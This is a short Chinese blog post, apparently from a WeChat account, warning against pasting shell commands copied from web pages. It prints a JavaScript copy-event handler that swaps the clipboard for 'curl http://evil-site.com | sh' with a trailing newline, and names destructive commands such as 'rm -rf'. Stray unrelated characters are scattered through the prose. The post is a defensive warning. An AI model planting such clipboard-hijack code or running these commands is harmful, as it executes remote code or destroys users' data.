對(duì)于用慣了 IDE 的程序員來(lái)說(shuō),在終端里敲命令可能沒(méi)那么順手碧磅,也記不住那么多復(fù)雜的命令碘箍。比較偷懶的做法就是網(wǎng)上搜相關(guān)的命令,復(fù)制到剪貼板往命令行窗口里一貼鲸郊,完事丰榴!
但是這么做有很大的風(fēng)險(xiǎn),為什么呢秆撮?
網(wǎng)頁(yè)里復(fù)制的東西四濒,可能并不是你看到的內(nèi)容。請(qǐng)看大屏幕:
<div class="copyme">$ echo "偽裝成普通命令"</div>
document.getElementById('copyme').addEventListener('copy', function(e) {
e.clipboardData.setData('text/plain',
'curl http://evil-site.com | sh \n' // 復(fù)制了真實(shí)命令
);
e.preventDefault();
});
看到了吧职辨,利用 DOM 的copy
事件盗蟆,可以往剪貼板里放自定義內(nèi)容。有人可能會(huì)說(shuō)復(fù)制了命令我還沒(méi)回車(chē)舒裤,不會(huì)執(zhí)行呀喳资!圖樣圖森破,尾巴上帶個(gè)換行符\n
腾供,回車(chē)都為你代勞了仆邓!
這要是復(fù)制上了一些危險(xiǎn)的命令,比如rm -rf
伴鳖,mv folder /dev/null
之類(lèi)的节值,執(zhí)行后就爽歪歪了。
所以黎侈,為了安全察署,不要隨便往 shell 里粘貼命令。如果一定要復(fù)制粘貼峻汉,看清楚剪貼板里的內(nèi)容再執(zhí)行贴汪!
首發(fā)于微信公眾號(hào):https://mp.weixin.qq.com/s/WmhnYU7z2c1wBF0l9uNiuA